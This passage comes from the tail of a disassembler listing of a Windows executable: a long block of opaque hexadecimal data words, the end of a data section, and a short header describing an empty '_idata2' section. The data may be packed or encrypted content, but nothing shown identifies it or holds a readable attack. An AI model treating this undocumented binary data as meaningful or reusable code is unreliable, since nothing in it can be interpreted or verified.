		dd 0D24645E4h, 28C7A82Dh, 6DF8C559h, 0E8D2C7EEh, 276DC547h
		dd 87716DD7h, 0F75FADC9h, 0EE467DA6h, 64D7072Dh, 6DFCC459h
		dd 4D63F70Dh, 0C96DF507h, 456128F7h, 0F714ADE3h, 0CBC651A1h
		dd 0A0F7A72Dh, 6DE5047Dh, 752AE76Ah, 992DC707h,	8775ADE7h
		dd 0D72F6DCAh, 0DE047560h, 0E9F775EDh, 0ADCA846Dh, 69EAD753h
		dd 106DD284h, 0C549A1D7h, 0E70E6DE4h, 0FA476167h, 6AC75C2Dh
		dd 2DDB4445h, 5D24F7D7h, 3A2DC647h, 8751ABE7h, 0F728EDE9h
		dd 0DE47716Ah, 0EAE75AADh, 0ADE24471h, 69E4C7A8h, 3BADBFAAh
		dd 76DEDC7h, 0C71EADFAh, 0CD466127h, 27C7DAADh,	2DC48459h
		dd 0D8E4C7C3h, 5E2DC6C5h, 8571A3C7h, 0D7136DF5h, 0DD465D29h
		dd 2ED700ADh, 0ADC90575h, 7923C7EBh, 156DD387h,	8571EDE7h
		dd 0F7E6EDF5h, 0D0C655AEh, 25E7522Dh, 6DF58759h, 5961C786h
		dd 40ADE044h, 0C77D6EF7h, 0F7546DCDh, 0CFC449EFh, 2FF7722Dh
		dd 2DEE856Dh, 6DE2D710h, 0E72DC744h, 44752DF7h,	0F7052DF0h
		dd 9BA96964h, 24C765EDh, 0EDD48661h, 59A4C7C4h,	3FEDF7C6h
		dd 0C4456BE7h, 0E71E6DEDh, 0DF4549A5h, 67F75EEDh, 0ADC84675h
		dd 696CE71Ch, 0C2EDF247h, 0C441EAC7h, 0C731ADDCh, 0F8C77D6Ah
		dd 64E7216Dh, 0ADE2065Dh, 45A9C76Ch, 6FADCC86h,	0C651A0C7h
		dd 0F7536DF1h, 0EC477DE3h, 0E8D7DAADh, 2DF3876Dh, 7526F75Dh
		dd 216DD604h, 45DE1F7h,	0C7AA2DF5h, 0D9C641E1h,	21F7156Dh
		dd 6DF4C469h, 7522E71Bh, 0C6DED05h, 0C74D28F7h,	0C7C02DC4h
		dd 0F985596Fh, 0E9E7B7ADh, 0ADDD8749h, 5D26F772h, 2C6DE945h
		dd 8455A9E7h, 0C7312DD2h, 0E444FCA0h, 0ED7DE6Dh, 2DC3C780h
		dd 412BF7DFh, 0FFED537Eh, 856D65F7h, 0C73D2DF3h, 0ACC1A031h
		dd 65E7746Dh, 6DC74645h, 75A24CF2h, 3FADCDC5h, 4549E8E7h
		dd 0C7DF2DEFh, 695C45EBh, 26D7DFEDh, 2D1F1C65h,	55E5C700h
		dd 962DCDC4h, 560F5F7h,	0E7FF2DFEh, 0B69E41E4h,	0E8E71AADh
		dd 2DE6C741h, 7D6DD770h, 87EDF504h, 741A9D7h, 0E71943FDh
		dd 0C1845DAFh, 0E0E7F1B6h, 7394B945h, 55A0C71Ah, 0FE6DEEC5h
		dd 0C6B4C050h, 0C732B3F3h, 0DA844920h, 0E3E7DD2Dh, 0EDC64645h
		dd 756D93A5h, 0E6EDC1C4h, 84452DF7h, 0D705ADD9h, 0E00555E1h
		dd 0E1D785EDh, 0F4F24545h, 4DE35259h, 0F72D95BEh, 0C5756DD0h
		dd 0E705EDC1h, 0F58575A9h, 0E911FCADh, 2DF70561h, 6D2AD7FCh
		dd 87ADC105h, 0BF71E7C7h, 0C7C16D9Dh, 943E49E1h, 0EEF797EDh
		dd 6DECC56Dh, 59EAD712h, 25ADD147h, 4649E1D7h, 0C7872DD6h
		dd 0C1856522h, 0E5C706ADh
		dd 0ADC48445h, 59E3E715h, 9A74CD07h, 0C74922D7h, 724BEDFAh
		dd 0EEC5796Dh, 6AE73A6Dh, 2DE2C761h, 6474F7FBh,	0A3ED9C2Ch
		dd 0C575A2E7h, 0D7A76DEEh, 0EC06456Bh, 66F75B6Dh, 0EDE1844Dh
		dd 49A5F7F8h, 0E4ADF7C7h, 67D6BD7h, 0F7A16DECh,	0E1C44D6Dh
		dd 0E1D754EDh, 0EDE40651h, 55EF3021h, 0F5C2FDC5h, 0C74924E7h
		dd 0C787B6D3h, 0E9C74924h, 14D7F533h, 0EDE1C4BCh, 556D10E0h
		dd 0EFEDC144h, 0C4716DD7h, 0E707EDD9h, 0C2C571A0h, 0A0D75FF2h
		dd 0B7CF8584h, 49E5F7EDh, 0EB2DC646h, 0C74961F7h, 0F707EDD1h
		dd 0D4465DE5h, 93E71AEDh, 6DC906D4h, 75EBE7EBh,	95EDE204h
		dd 0C55129D7h, 0D714EDE4h, 0DE06756Bh, 0A7E7FAEDh, 0ADD04575h
		dd 0F443C79Dh, 7CB2D345h, 0C5556DD7h, 617FADEEh, 83387D24h
		dd 6B20BA33h, 33EBC741h, 6DE3F7E2h, 0E5EDEDC6h,	65D6BD7h
		dd 0E784DCC3h, 0E7C49020h, 0B7C779ADh, 0ADF685C7h, 0FDB7C7D7h
		dd 92D1A61h, 0C565E308h, 0D7F1EDE7h, 0EB4565E1h, 0A0E7B4ADh
		dd 0ADEA8479h, 6561D771h, 3671EA45h, 846DA1D7h,	0E7B6ADE4h
		dd 0CB0561E7h, 18C7E9EDh, 0ADE4C494h, 6121F776h, 19ADEBC4h
		dd 4441A01Eh, 0D7FCADCBh, 0D6047923h, 0A3C7EDADh, 0ED85B541h
		dd 0C835E730h, 0E3ADC244h, 465A2F0h, 0C729F4ECh, 93A94927h
		dd 0DAD7B63Ah, 0ADFD05ACh, 6DE6E7E9h, 6922D305h, 0E1E074D7h
		dd 0E7F0ADABh, 85E455E7h, 74D7E9EDh, 0A4AD61C4h, 55AFA1F5h
		dd 95AD563Bh, 0FA79A51Eh, 220922EAh, 0EEC59408h, 0BCE7CCB1h
		dd 0EDEF85E0h, 77F1A5C4h, 0C5B4E586h, 0C56563F7h, 0D1F6F4D3h
		dd 0A53F75E0h, 0AC93F5F5h, 0EDEDC76Dh, 0E5F1E7DDh, 30EDE5E0h
		dd 0E371E5E7h, 0E7E5AD8Bh, 0CAC565A3h, 0A2D7E5ADh, 0B4F5C565h
		dd 0E477A13Bh, 0E5F4A5E1h, 21EBBE81h, 0F7E5ED9Ch, 0C86371A6h
		dd 3EB58864h, 0ED8BE247h, 0E5F1A38Bh, 0F62D3FC0h, 0E0E5B0A5h
		dd 0D7E78CC1h, 0BF40D472h, 0BFB5F92Dh, 6DFA2053h, 69E5A544h
		dd 6BCE5C5h, 0C4FC3D91h, 0E7349CE5h, 767566F1h,	0C3C764A7h
		dd 0B44F8CFCh, 0F301917Fh, 0C76DEF85h, 0C445EBE7h, 0E736EDE5h
		dd 0F8C475E5h, 62C0823Bh, 2DC1066Dh, 4524E7B7h,	0E96DCA45h
		dd 475A7F7h, 0D73CEDF5h, 0D56345E0h, 0F9A5CB64h, 64C9E2C5h
		dd 0C5FBA5C8h, 0F28CE562h, 4F331E7h, 0B5F5A4F4h, 0E5C5C5F3h
		dd 33F7E4F4h, 0F7FD84D4h, 0DCF69346h, 0D4379A0Eh, 62C477ADh
		dd 0E768F496h, 0F40545E5h, 0F981DFCEh, 379AE1E7h, 51E5E7B7h
		dd 0E5ADA6E3h, 0C065A7E7h, 0C72AED9Ah, 65FFF4D6h, 31A18EA4h
		dd 0A4717CDBh, 0D444A5F5h, 0E773FC86h, 85C480D7h, 0C752B4C8h
		dd 0EBC56528h, 0A4C7E5EDh, 6D3AC065h, 0E5F1E1A5h, 0B0D75AC0h
		dd 0C5EB9249h, 2D64EDF4h, 0B8036923h, 0E220D5F4h, 0ADC6C565h
		dd 0D6F1A5F5h, 0AC84E987h, 0E0E5F0F7h, 0F7E7A6FCh, 929ED43Dh
		dd 4CB3F5B7h, 0B4E5E024h, 4098C7F0h, 6CB6936Ah,	844080F7h
		dd 711AB4CCh, 6069C43Dh, 0F1635AADh, 0EDE5C5F3h, 75E5D727h
		dd 60EB38Ah, 85656EADh,	9DF5F1FDh, 4FECE33Dh, 64F7EFADh
		dd 0EDE90541h, 61E8E789h, 0CF6DFE85h, 0C665E5E7h, 0C793ADEAh
		dd 0FD067127h, 6DE7B20Eh, 2DCEC74Dh, 6169F7E2h,	0DF6DFA85h
		dd 45C8D5F7h, 0E7F7EDF5h, 0E5287DE3h, 0AAE7E694h, 0A4F12B75h
		dd 0E610A5F5h, 0CD06F644h, 0AA4125E7h, 119FA4E5h, 0D46A9022h
		dd 9AD7E66Dh, 0F9E22AD9h, 9B25616Ah, 0C7446A34h, 0C5A7EDE7h
		dd 0E7E5EDECh, 652D592Bh, 0ACF4D7BCh, 0B7F28575h, 65226D2Ah
		dd 0EDB7F204h, 0B59D24C8h, 0C462E1FBh, 0FBB59D24h, 0ABC452E1h
		dd 21C7B19Dh, 0BD28C462h, 0FB94E576h, 8569ADF7h, 0D70FEDE5h
		dd 0CC477D60h, 73A5F52Dh, 84E90644h, 0E5F0F72Eh, 608EFCE0h
		dd 0C59C624Dh, 6F308EC0h, 0A4B3988Bh, 64EC63F6h, 7302ACB8h
		dd 20EEE75Eh, 63C1E9C5h, 0C5D73DDCh, 0F0548CDEh, 0E5C5512Fh
		dd 0F1A4D694h, 2DFDC5DAh, 0E5B025C8h, 0E3F7FDE0h, 0C5C43DD7h
		dd 23D076C7h, 0FCC559ADh, 5BB5F526h, 2688FDF8h,	8445E780h
		dd 0C9E1E52Ah, 0F555E5C2h, 0AD06C362h, 60FD4523h, 0F1A5F539h
		dd 6DCD87CFh, 9D24C45Dh, 62E1FBB5h, 0B59D24C4h,	4473E1FBh
		dd 0C7BCBDABh, 40C46221h, 0A4E576BDh, 5DA681F5h, 12ADE706h
		dd 0BE99085Ch, 541223FAh, 0FABE9908h, 69E7E523h, 0F6C9C575h
		dd 0A5CB2CEDh, 0DD23C57Eh, 6596364h, 445D82E3h,	0C77EADCBh
		dd 0CB445D23h, 23C77EADh, 0ADCB445Dh, 5D23C77Eh, 7EADCB44h
		dd 445D23C7h, 0BE7EADCBh, 0CB0C52B1h, 23C77EADh, 0ADCB445Dh
		dd 65E4E7E1h, 0E1EDF585h, 8565E4E7h, 0E7E1EDF5h, 0E4A165E4h
		dd 2DA1C161h, 71E922ADh, 25AD8940h, 7D4B3C7h, 0F7FFBCC0h
		dd 0C0074433h, 0F5F7E9BCh, 0BCC00774h, 54B3F7C9h, 0CFBCC047h
		dd 4774B3F7h, 0F7CDBCC0h, 0C08754B3h, 0B3F7C3BCh, 0BCC08774h
		dd 54B3F7C1h, 0C7BCC0C7h, 0E1A197F7h, 0B5A5E4E4h, 0E4E1E1F5h
		dd 51BDBDE4h, 0FECE4504h, 54B3F7C4h, 652DD906h,	4071EDA1h
		dd 0A3BCAD99h, 0A5407162h, 0F5C79AEDh, 0BCC004F4h, 0E373F7F9h
		dd 0FCBC4020h, 4464B3F7h, 0F7F2BCC0h, 0C08444B3h, 3BF7EEBCh
		dd 0B4836F64h, 64B3F7F0h, 0F6BCC084h, 0C444B3F7h, 0F7F4BCC0h
		dd 0C0C464B3h, 0B3F7EABCh, 0FFE0C574h, 74B3F7EBh, 0AC84DC05h
		dd 4544B37Dh, 0F7ECBCC0h, 0C04564B3h, 0B3F7E2BCh, 0BCC08544h
		dd 64B3F7E0h, 0E7BCC085h, 0C55485F7h, 7DB787DCh, 4822E3C5h
		dd 33F7DBBCh, 0BCC80674h, 4433F7D9h, 0DFB483F6h, 467433F7h
		dd 0F7DDBCC8h, 0C8865433h, 33F7D3BCh, 0E4E5E164h, 0E5F5A5E5h
		dd 0FD84C5E1h, 60C773ADh, 0ADF98455h, 6520C772h, 7DADC544h
		dd 4475E3C7h, 0C77CADC1h, 0CD4445A3h, 63C77FADh, 0ADCC4441h
		dd 9D4051A8h, 16F7D1C6h, 2DA940D3h, 0F34C3DB4h,	0EB86B5CDh
		dd 0A8443BF7h, 0A5E5E465h, 0E5E1E5F5h, 0F5A5E5E4h, 0E4E5E1E5h
		dd 0E5F5A5E5h, 0E5E4E5E1h, 0E1E5F5A5h, 0A5E5E4E5h, 0E5E1E5F5h
		dd 0F5A5E5E4h, 0E4E5E1E5h, 0E5F5A5E5h, 0E5E4E5E1h, 0E1E5F5A5h
		dd 0A5E5E4E5h, 0E5E1E5F5h, 0F5A5E5E4h, 0E4E5E1E5h, 0E5F5A5E5h
		dd 0E5E4E5E1h, 0E1E5F5A5h, 0A5E5E4E5h, 0E5E1E5F5h, 0F5A5E5E4h
		dd 0E4E5E1E5h, 0E5F5A5E5h, 0E5E4E5E1h, 0E1E5F5A5h, 0A5E5E4E5h
		dd 0E5E1E5F5h, 0F5A5E5E4h, 0E4E5E1E5h, 5169A5E5h, 0A5ADB940h
		dd 0C6F4B3C7h, 0F7E8DEDCh, 6D79643Bh, 11F7D586h, 0BCC80756h
		dd 516E2DF3h, 0BAEDA540h, 0E1E18EBDh, 0B5A5E4E4h, 0E4E1E1F5h
		dd 0F5B5A5E4h, 0E4E4E1E1h, 0E1F5B5A5h, 0A5E4E4E1h, 0E1E1F5B5h
		dd 0B5A5E4E4h, 0E4E1E1F5h, 0F5B5A5E4h, 0FCE4E1E1h, 5433F7C9h
		dd 0D4BCC847h, 0E86485F7h, 0A3BE6D4Dh, 854051AFh, 2CA3BE6Dh
		dd 0AD736F61h, 71E05253h, 0FE6DAE84h, 8545A7E7h, 0E7B46DEEh
		dd 0F1C74926h, 62E7A4ADh, 2DCFC561h, 7561C707h,	0EDADBF7Eh
		dd 4649E5F7h, 0F7692DC6h, 0D1C74961h, 0E5F707EDh, 0EDD4465Dh
		dd 612AE71Ah, 0CE2DE505h, 466566E7h, 0F724ADD1h, 0E8C659E9h
		dd 0A9D7A5EDh, 2DD74649h, 7522E72Bh, 0B8EDF145h, 3E61EBF7h
		dd 40D8ED81h, 0E9C749A3h, 0CAF737EDh, 33D18594h, 49A5E707h
		dd 1F2D8D3Eh, 0F961E5C7h, 0F772ADBAh, 0E7844920h, 0E5E7E72Dh
		dd 0ADCF845Dh, 7560F7E9h, 0A36DEE44h, 84496DD7h, 206BEDE9h
		dd 0FEC74924h, 65206BEDh, 0ADCD8469h, 5D21C746h, 1A2DC9C5h
		dd 0C741A8C7h, 0E7312DE2h, 0FF45596Bh, 63C7333Bh, 0ADAA6F69h
		dd 652D7253h, 0F1EDC4C4h, 878491F7h, 0C7472DDBh, 9AF84925h
		dd 91F7D12Dh, 2DEB4698h
		dd 49E3E7DDh, 0BFB2B3F8h, 46DA230h, 0C73EB5C9h,	8B6D5923h
		dd 60E7B4EDh, 0B2F1C471h, 492DF731h, 0B1EDC7C4h, 86792AD7h
		dd 0C7FFADF5h, 0CA854DA6h, 51D7F9EDh, 0B2F3C62Ch, 809D0070h
		dd 0DFADF445h, 0B84D65F7h, 0F7E6AD6Dh, 0B71869E0h, 60E7152Dh
		dd 2DE68465h, 6DE2F7E5h, 0EFF7E6C5h, 0C5716B10h, 0D79B2DCDh
		dd 0DA06592Ah, 0E6F7332Dh, 0ADC3C641h, 0FCC5D78Bh, 996DE444h
		dd 0C7E4C5D7h, 0F721ADD6h, 0DC46EC3Bh, 0D862532Dh, 22B522BBh
		dd 0A5D824D1h, 0D122F5BAh, 0C1E5F524h, 0B3E5ED26h, 0A2C165A5h
		dd 6593E5EDh, 6DA4C165h, 65A1A1E5h, 37ADE645h, 0E475A1C7h
		dd 0D7B4ADABh, 0A34159E1h, 0B6E774ADh, 0C4D2C4F8h, 61E1F735h
		dd 0B584A4E0h, 0E0E0839Dh, 0B5B5A4E4h, 0E9C4E2F1h, 0A8A5E5B4h
		dd 2D1A9A7Dh, 6D21F731h, 0E5ADD6C4h, 0C57964ADh, 0A5E52DEDh
		dd 0EE05FAF5h, 25A3E532h, 0ED612659h, 6565C7A1h, 7944E5E1h
		dd 846BBDF7h, 950164EEh, 0C7C5677Ch, 0E5C7E5ADh, 0ADE68465h
		dd 0F4F6C7EDh, 36ADF284h, 0C449E0C7h, 0C7F1EDC5h, 0E2C459E0h
		dd 0E1F771ADh, 0EDC5C451h, 5527C7A9h, 0F6EDA76Dh, 0C45DE1F7h
		dd 919EADE8h, 0CC847BBBh, 0A3E77EADh, 0ADD24459h, 7DE7E739h
		dd 79ADCA44h, 8479E7E7h, 0D73FF7E5h, 0CA046DA3h, 0E2E7B8ADh
		dd 0ED962251h, 61E6F76Eh, 0B63CCF44h, 5ECBBD7h,	0E7E9ADFDh
		dd 0CF056DE6h, 5D76924h, 0ADABA2ECh, 55E7E7F0h,	0E9ED85E4h
		dd 0ADD405D7h, 0E7EDFCA5h, 0E504D8D0h, 25D7DBC4h, 0CFDAC561h
		dd 6DECADE5h, 0F6B7E9C4h, 5E7F56Dh, 6F316DF0h, 0DA455DE5h
		dd 0A0C7B5EDh, 0AD91E061h, 45A1F7FEh, 0BCADC604h, 475E2E7h
		dd 203BADCCh, 0E984F4E1h, 0E1E7F5ADh, 2D7AC165h, 4165E7C9h
		dd 0E5E4E587h, 0E1E5F5A5h, 0A5E5E4E5h, 0E5E1E5F5h, 0F5A5E5E4h
		dd 0E4E5E1E5h, 0E5F5A5E5h, 0E5E4E5E1h, 0E1E5F5A5h, 0A5E5E4E5h
		dd 0E5E1E5F5h, 0F5A5E5E4h, 0E4E5E1E5h, 0E5F5A5E5h, 0E5E4E5E1h
		dd 0E1E5F5A5h, 0A5E5E4E5h, 0E5E1E5F5h, 0F5A5E5E4h, 0E4E5E1E5h
		dd 0E5F5A5E5h, 0ACAD79E1h, 14C44593h, 0FD62C4D7h, 736348D8h
		dd 5151B0FFh, 0DE0E6E07h, 0A3890897h, 151A7795h, 0DAEE8DACh
		dd 199C47D9h, 0A715635Dh, 1C572A0Fh, 0CFC2BA93h, 42D43F17h
		dd 332D90A2h, 0A28D34A3h, 0F7E6D26Ah, 22A311F2h, 0C0A9CF22h
		dd 0E82136F0h, 44169B65h, 0DE26E97h, 508CA5Ch, 2DDB47Ch
		dd 0B6DD1534h, 0C69A1689h, 1C6D72BBh, 56C6A38h,	3961822Ah
		dd 0C7CDADEAh, 0E9F250DFh, 6E44F152h, 59F3F0D8h, 3DC45D2Fh
		dd 0FADBA749h, 31B3EE8Bh, 0B4A3F911h, 48E89733h, 2E41B580h
		dd 3D04FE67h, 9151279Ah, 782DF9FFh, 0C0ED47DFh,	0E3158E21h
		dd 0E32C4499h, 6A2EB55Fh, 2C67B169h, 3896D6B8h,	495EB6E9h
		dd 0B532DEF3h, 10A22F99h, 96D4DD8Eh, 76ED018Ah,	396862C6h
		dd 0F06F88FCh, 0E6C28C71h, 4C418229h, 68E0F9ACh, 97DD465Bh
		dd 360C1C5h, 0CDB307FFh, 0E36F1458h, 31976B7Fh,	0A42CABADh
		dd 3CDB91B7h, 0A3038F3Ah, 0A3ECDBEFh, 59CE764Bh, 0EFBBBB31h
		dd 2AD69CA5h, 0B0AB65EDh, 5FCB5314h, 885D7FADh,	0D22105Ch
		dd 55CB49E8h, 27C52B2Bh, 47934BC7h, 5D6D9FC8h, 0A4EBE77Eh
		dd 5CDCAF75h, 0EB7C077h, 95A18F77h, 71A04B8Dh, 40979DB3h
		dd 5AAF7AFEh, 0B109049h, 526AE076h, 0D72C6476h,	0B849CB4Bh
		dd 7E575B2Fh, 0DBA681DBh, 0B1B72C1Bh, 0CB61B9Fh, 672DCBFFh
		dd 0B59A4958h, 0B972FDA8h, 3435CC59h, 113h dup(0)
		db 3 dup(0)
byte_46464F	db 0			; DATA XREF: .text:off_4302DCo
		align 1000h
_data		ends

; Section 4. (virtual address 00065000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00065000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 465000h
		align 2000h
_idata2		ends


		end start